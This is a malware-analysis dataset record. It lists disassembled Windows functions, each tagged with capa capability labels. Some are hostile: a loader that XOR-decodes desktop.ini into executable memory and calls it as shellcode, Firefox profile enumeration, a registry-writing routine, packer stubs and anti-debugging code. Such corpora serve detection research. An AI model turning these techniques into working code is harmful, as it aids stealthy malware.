joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1008c960
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10090fbc
mov eax, dword fs:[0]
push eax
sub esp, 0x268
mov eax, dword [0x100af440]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push esi
push edi
mov eax, dword [0x100af440]
xor eax, esp
push eax
lea eax, [esp + 0x278]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x1c], esi
lea eax, [esp + 0x164]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [esp + 0x164]
push eax
mov ecx, esi
call fcn.1000c440
lea eax, [esi + 0x20]
push eax
push dword [esi]
lea ebx, [esi + 4]
push str._s_sProfiles
push ebx
call fcn.10012f50
add esp, 0x10
lea ecx, [esp + 0x20]
call fcn.1000c2e0
lea ecx, [esp + 0x18]
mov dword [esp + 0x280], 0
call fcn.1000c2e0
mov ecx, ebx
mov byte [esp + 0x280], 1
call fcn.1000ce50
push eax
call dword [0x100b26f4]
test eax, eax
je 0x1008cb5c
push ebx
lea ecx, [esp + 0x18]
call fcn.1000c300
push str..
mov byte [esp + 0x284], 2
call fcn.1000ee80
add esp, 4
lea ecx, [esp + 0x14]
push eax
push str..
call fcn.10021970
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x18]
call fcn.1000ce50
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1008cb53
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [esp + 0x24]
shr eax, 4
and al, 1
cmp byte [esp + 0x50], 0x2e
je 0x1008cb06
test al, al
je 0x1008cb06
lea ecx, [esp + 0x10]
call fcn.1000c2e0
lea eax, [esp + 0x50]
push eax
mov byte [esp + 0x284], 3
push dword [ebx]
lea eax, [esp + 0x18]
push 0x10099fb4
push eax
call fcn.10012f50
add esp, 0x10
lea ecx, [esp + 0x10]
push 0
push str..default
call fcn.1000ca50
test eax, eax
js 0x1008caf5
push dword [esp + 0x10]
lea eax, [esp + 0x1c]
push str._sprefs.js
push eax
call fcn.10012f50
add esp, 0xc
lea ecx, [esp + 0x18]
call fcn.1000ce50
push eax
call dword [0x100b26f4]
test eax, eax
jne 0x1008cb18
lea ecx, [esp + 0x10]
mov byte [esp + 0x280], 2
call fcn.1000c400
lea eax, [esp + 0x24]
push eax
push esi
call edi
test eax, eax
jne 0x1008ca71
jmp 0x1008cb4c
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0x50]
push eax
lea ecx, [edi + 0x10]
call fcn.1000c440
lea eax, [esp + 0x18]
push eax
lea ecx, [edi + 8]
call fcn.1000c420
lea eax, [esp + 0x10]
push eax
lea ecx, [edi + 0xc]
call fcn.1000c420
lea ecx, [esp + 0x10]
call fcn.1000c400
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0x14]
call fcn.1000c400
lea ecx, [esp + 0x18]
call fcn.1000c400
lea ecx, [esp + 0x20]
call fcn.1000c400
mov ecx, dword [esp + 0x278]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x260]
xor ecx, esp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret
Function at 0x1008f6b0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10090a20
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x100af440]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0x1009dd98
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x24], 0
call fcn.1000c340
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call fcn.1008f2d0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.1000ced0
test eax, eax
je 0x1008f7b9
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
call fcn.1000ce50
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov ebx, eax
test ebx, ebx
je 0x1008f7b9
push ebx
call fcn.10061805
add esp, 4
mov edi, eax
push edi
push ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x10]
call fcn.1000ce50
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x1008f7b0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x10099fbc
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x1008f7b0
cmp dword [ebp - 0x1c], 0
je 0x1008f7b0
mov ecx, dword [ebp - 0x20]
cmp dword [ecx], 0xfeef04bd
jne 0x1008f7b0
movzx eax, word [ecx + 0xc]
push eax
movzx eax, word [ecx + 0xe]
push eax
movzx eax, word [ecx + 8]
push eax
movzx eax, word [ecx + 0xa]
push eax
lea eax, [ebp - 0x14]
push 0x1009ee8c
push eax
call fcn.10012f50
add esp, 0x18
push edi
call fcn.1006380b
add esp, 4
lea eax, [ebp - 0x14]
push eax
mov ecx, esi
call fcn.1000c300
lea ecx, [ebp - 0x10]
call fcn.1000c400
lea ecx, [ebp - 0x14]
call fcn.1000c400
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1008f7f0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10090843
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [ebp + 0xc], 0
mov dword [ebp - 4], 0
je 0x1008f836
call fcn.1008f9d0
jmp 0x1008f9a4
lea ecx, [ebp + 8]
call fcn.1000ce50
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1008f9a4
push 0x103
lea eax, [ebp - 0x147]
push 0
push eax
mov byte [ebp - 0x148], 0
call fcn.10064860
add esp, 0xc
lea eax, [ebp - 0x148]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push dword [esi + 0x974]
lea eax, [esi + 0x20]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24c]
push eax
mov dword [ebp - 0x17], 0x697078
mov dword [ebp - 0x20], 0x255c7325
mov dword [ebp - 0x1c], 0x73255c73
mov byte [ebp - 0x18], 0x2e
call fcn.10021c10
add esp, 0x14
lea eax, [ebp - 0x24c]
push 0
push eax
lea ecx, [ebp + 8]
call fcn.1000ce50
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1008f9a4
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x250]
mov word [ebp - 0x32], 0x7269
mov dword [ebp - 0x2b], 0x65747865
mov dword [ebp - 0x37], 0x5c616c6c
mov word [ebp - 0x3c], 0x4d5c
mov word [ebp - 0x39], 0x697a
mov dword [ebp - 0x24], 0x736e6f
mov word [ebp - 0x26], 0x6973
mov byte [ebp - 0x33], 0x46
mov dword [ebp - 0x40], 0x65726177
mov dword [ebp - 0x30], 0x786f4665
mov byte [ebp - 0x3a], 0x6f
mov dword [ebp - 0x44], 0x74666f53
mov byte [ebp - 0x2c], 0x5c
mov byte [ebp - 0x27], 0x6e
call fcn.1000c340
lea eax, [ebp - 0x24c]
push eax
push 0x104
lea ecx, [esi + 0x978]
mov byte [ebp - 4], 1
call fcn.1000ceb0
push eax
push 0x104
lea ecx, [ebp - 0x250]
call fcn.1000ceb0
push eax
push reloc.WS2_32.dll_accept
call fcn.1008fe00
push 0xffffffffffffffff
lea ecx, [esi + 0x974]
call fcn.1000cf30
push 0xffffffffffffffff
lea ecx, [ebp - 0x250]
call fcn.1000cf30
lea ecx, [ebp - 0x250]
call fcn.1000c400
lea ecx, [ebp + 8]
call fcn.1000c400
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret 8
Function at 0x1008f9d0
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get file size
Get program files directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10090d6b
mov eax, dword fs:[0]
push eax
sub esp, 0x324
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x103
lea eax, [ebp - 0x11f]
push 0
push eax
mov byte [ebp - 0x120], 0
call fcn.10064860
push 0x103
lea eax, [ebp - 0x327]
push 0
push eax
mov byte [ebp - 0x328], 0
call fcn.10064860
push 0x103
lea eax, [ebp - 0x223]
push 0
push eax
mov byte [ebp - 0x224], 0
call fcn.10064860
add esp, 0x24
lea ecx, [ebp - 0x32c]
call fcn.1000c2e0
mov dword [ebp - 4], 0
push dword [edi + 0x974]
lea eax, [ebp - 0x1c]
push dword [edi + 0x97c]
mov dword [ebp - 0x18], 0x70782e73
push eax
lea eax, [ebp - 0x32c]
push eax
mov dword [ebp - 0x1c], 0x255c7325
mov word [ebp - 0x14], 0x69
call fcn.10012f50
add esp, 0x10
lea eax, [ebp - 0x120]
push 0
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x328]
push 0x104
push eax
call fcn.1006418d
add esp, 0xc
lea ecx, [ebp - 0x32c]
call fcn.1000ce50
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0
push 0
push 3
push 0
push 0
push accept
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1008fb62
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x224]
push 0
push eax
call fcn.10064860
add esp, 0xc
lea eax, [ebp - 0x224]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push ecx
lea eax, [ebp - 0x330]
push eax
sub esp, 8
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x120]
push eax
mov ecx, edi
mov dword [ebp - 0x330], 0
call fcn.1008fb90
lea ecx, [ebp - 0x32c]
call fcn.1000c400
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret
Function at 0x1008fe00
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x114], eax
lea eax, [ebp - 0x10c]
push eax
push 0xf003f
push 0
push ebx
push edi
mov dword [ebp - 0x10c], 0
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1008fe7c
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
xor ecx, ecx
test eax, eax
cmovne esi, ecx
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.10064860
mov ebx, dword [ebp - 0x110]
add esp, 0xc
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x118]
push eax
push 0
push ebx
push dword [ebp - 0x10c]
mov dword [ebp - 0x11c], 0x104
mov dword [ebp - 0x118], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1008ff0a
mov edx, dword [ebp - 0x114]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008fee6
sub ecx, edi
push ecx
push edx
push 1
push 0
push ebx
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1008ff6e
xor esi, esi
jmp 0x1008ff6e
mov ebx, dword [ebp - 0x114]
mov ecx, ebx
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1008ff38
test dl, dl
je 0x1008ff34
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1008ff38
add eax, 2
add ecx, 2
test dl, dl
jne 0x1008ff18
xor eax, eax
jmp 0x1008ff3d
sbb eax, eax
or eax, 1
test eax, eax
je 0x1008ff6e
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008ff46
sub ecx, edx
push ecx
push ebx
push 1
push 0
push dword [ebp - 0x110]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ecx, ecx
test eax, eax
cmovne esi, ecx
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10061e3f
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41f993
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f9d2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f9d2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f9d2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f9d2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f9d2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43217d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43217d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
jmp int.00401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x403e57
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
push dword [ebp + 0x1c]
mov edi, dword [ebp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push dword [ebp + 0x18]
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
cmp byte [edi], 0x25
jne 0x403ed4
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x104]
push eax
call fcn.00403093
lea eax, [ebp + eax - 0x105]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_CharPrevA]
cmp byte [eax], 0x25
jne 0x403ebc
and byte [eax], 0
push dword [ebp + 0x1c]
lea eax, [ebp - 0x104]
push dword [ebp + 0x18]
push edi
push dword [ebp + 0x10]
push eax
push 0x4016ec
call esi
pop edi
pop esi
leave
ret 0x18

Function at 0x4041d7
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0xc]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40422c
push esi
push esi
push esi
lea eax, [ebp - 4]
push esi
push eax
push esi
lea eax, [ebp + 8]
push esi
push eax
push esi
push esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x404223
cmp dword [ebp + 8], esi
jne 0x404223
cmp dword [ebp - 4], esi
jne 0x404223
push 1
pop esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret 8

Function at 0x401440
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0xbbeaf81f
xor ebx, 0xbfeaf81f
jmp 0x4014f0
mov edx, 0xa919783e
xor edx, 0xa919783a
mov ecx, 0x25135daf
xor ecx, 0x25136daf
mov eax, 0x500
ror eax, 0x1c
push edx
push ecx
push eax
mov edx, dword [ebp - 0xb4]
rol edx, 4
rol edx, 0xa
mov dword [ebp - 8], edx
push ebx
call fcn.00401644
push esi
pop ecx
mov ebx, eax
test ebx, ebx
je 0x4014f0
sub ebx, 0x86b78ac7
mov dword [ebp - 0x10], ebx
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x3131336b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x672e5930
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x612664
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [esp]
adc ebx, eax
jmp 0x6126ba
cmc
lea esp, [esp + 2]
jmp 0x612696
neg edi
lea eax, [ecx + edi]
pushal
push dword [esp + 6]
jo 0x6126c3
jno 0x6126cc
rdtsc
setne bh
mov edx, dword [esp + 0x11]
jmp 0x6127b6
jle 0x612670
cmc
lea esp, [esp + 2]
jmp 0x612675
add esp, 0xe
jmp 0x6126a4
add esp, 0xe
rdtsc
setne bh
mov edx, dword [esp + 0x11]
bswap edx
jmp 0x6127b8
add edi, dword [esi]
shl dx, cl
jo 0x612749
jno 0x61278c
mov ebp, 0x28d9be28
jmp 0x612700
lea esp, [esp + 0x14]
inc edi
lea ebx, [esi*4]
mov bx, word [esp]
lea eax, [eax + edi]
clc
jmp 0x612745
jbe 0x612713
ja 0x612713
rcr dh, cl
jmp 0x612776
mov dh, ah
mov ax, word [esp]
jmp 0x61318c
xchg dh, bh
xchg ebx, eax
mov bx, 0xa8f4
mov bx, ax
mov ax, 0x80f9
jmp 0x61272b
rcr dh, cl
call 0x613100
rdtsc
pushfd
rdtsc
not edx
mov eax, dword [esp]
stc
jmp 0x61315d
bswap edx
mov dh, 0x9d
lea esp, [esp + 2]
rol edi, 0
jmp 0x612766
jbe 0x61274f
mov dh, ah
mov ax, word [esp]
jmp 0x61318c
ror bl, 0
mov ax, word [esp]
ror ah, 7
jmp 0x61326e
mov dh, byte [esp]
mov ax, 0x691b
mov al, cl
jmp 0x613212
pop edx
push dword [esp + 4]
ret 8
rol bl, 0
call fcn.00613253
test al, 0x3b
stosd dword es:[edi], eax
into
cmp eax, 0xb21cbe8d
aad 0x24
mov dword [reloc.ADVAPI32.DLL_DeregisterEventSource], eax
mov dword [edi + edi*8 - 1], esi
dec dword [edi]
xor dword [esi - 0x3f], esp
ror byte [ebx], 1
xchg dword [esp + 4], ecx
stc
pushfd
jmp 0x61320a
jo 0x61319c
mov dh, byte [esp]
mov ax, 0x691b
call fcn.006131d1

Function at 0x61282d
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0x1a
jp 0x6128d5
in al, dx
sbb cl, byte [edi]
mov bl, byte [edi + 0xf000000]
mov ebx, dword [ecx - reloc.ADVAPI32.DLL_DeregisterEventSource]
jnp 0x6128d5
cli
jg 0x61282e
mov bh, byte [ecx + 0x37]
ror byte [edx + 0x665666d3], cl
xchg dword [esp], eax
call fcn.006128a0

Function at 0x6128a0
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg byte [esp + 8], al
neg eax
jp 0x612850
jnp 0x612850
jmp 0x612866
Function at 0x613253
Capabilities:
Execute anti-debugging instructions

Disassembly:
push word [esp + 1]
jmp 0x6132a6
add esp, 2
jg 0x61323d
push word [esp + 1]
inc dx
mov byte [esp + 2], dl
call fcn.00613280
push ecx
rcl byte [ebx - 0x36]
xchg esp, eax
inc dx
mov byte [esp + 2], dl
jmp 0x61330e
lea esp, [esp + 4]
neg bl
neg ax
jmp 0x613357
mov al, byte [esp]
mov dl, 0x1d
mov dx, 0x669
not eax
lea eax, reloc.ADVAPI32.DLL_DeregisterEventSource
jmp 0x613360
jg 0x61331d
mov al, byte [esp]
mov dl, 0x1d
jmp 0x613341

Function at 0x613280
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0x1a
jmp 0x613289
xchg dword [esp + 0xb], edx
mov byte [esp + 0x10], ch
bswap edx
mov ah, 0x70
lea esp, [esp + 2]
xchg dword [esp + 0x18], edi
jmp 0x6132d8
lea edi, [edi + 0x44]
bsf eax, ebp
sub ax, cx
push sp
rdtsc
jmp 0x613334
mov eax, ebx
mov dh, 0x59
mov ah, dl
sub esp, 0x1d
xchg dword [esp + 7], edx
lea esp, [esp + 1]
jmp 0x6132c2
lea esp, [esp + 2]
xchg dword [esp + 0x34], edi
call fcn.00613301
mov dx, 0x669
not eax
lea eax, reloc.ADVAPI32.DLL_DeregisterEventSource
jmp 0x613360
ror bl, 0
ja 0x613395
lea edx, reloc.ADVAPI32.DLL_DeregisterEventSource
jmp 0x61337f
lea edx, reloc.ADVAPI32.DLL_DeregisterEventSource
neg dl
mov al, 0x9a
bsf ax, dx
mov eax, ebp

Function at 0x61361d
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0xd
jg 0x613889
lea esp, [esp + 1]
jmp 0x61373b
sub edx, ebx
call fcn.006136db
rol bl, 0
setae al
jmp 0x6137d4
rdtsc
bsf ax, cx
jmp 0x613851
bt ax, di
mov eax, 0x3fc7e886
jmp 0x613827
jmp 0x61385e
lea esp, [esp + 8]
neg bl
mov edx, 0x3439081a
inc ax
jl 0x613811
mov dl, byte [esp]
mov ax, 0xf966
jmp 0x613865
js 0x6137e0
bt ax, di
mov eax, 0x3fc7e886
jmp 0x613827
mov dl, byte [esp]
mov ax, 0xf966
ror bl, 0
jmp 0x61386e
sub esp, 2
jb 0x6138c6
jae 0x6138c6
int 0x45
aad 0xbc
dec edi
sti
jge 0x613873
add edi, esi
dec ebp
insd dword es:[edi], dx
jmp 0x6138ff
lea esp, [esp + 1]
jmp 0x61373b
call 0x6138a8
rdtsc
mov dl, byte [esp + 2]
lea esp, [esp + 3]
jmp 0x613937
into
pop esp
cmp edx, esi
pushal
fisttp word [edi]
test dword [ebx - 9], edx
invalid
sbb ah, 0x31
jmp 0x61395a
and ebx, 0x3c
not dx
rcr dx, cl
ja 0x613911
jbe 0x61391a

Function at 0x616b32
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 2]
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], edi
lea esp, [esp + 0x20]
jmp 0x616cf7
push cx
push dword [esp + 5]
jmp 0x616e74
mov dword [esp + 0x20], edi
jbe 0x616b1c
lea esp, [esp + 2]
mov dword [esp + 0x24], esi
jmp 0x616d69

Function at 0x61c647
Capabilities:
Encode data using xor

Disassembly:
call 0x61c00e
jmp 0x61c64d
popfd
ret
push word [esp + 4]
lea esp, [esp + 8]
jmp 0x61c66d
push dx
jmp 0x61c61d
call 0x61c647
dec ebp
push ebx
push esi
inc ebx
push edx
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add bl, ch
or al, 0xd8
cmp edx, dword [edx]
lea ebx, [eax + 0x2d]
iretd
pop eax
sub eax, 0xe28962cf
jmp 0x61c637
cmp dword [esp + 4], 0
jne 0x61c5f4
pushal
jmp 0x61c009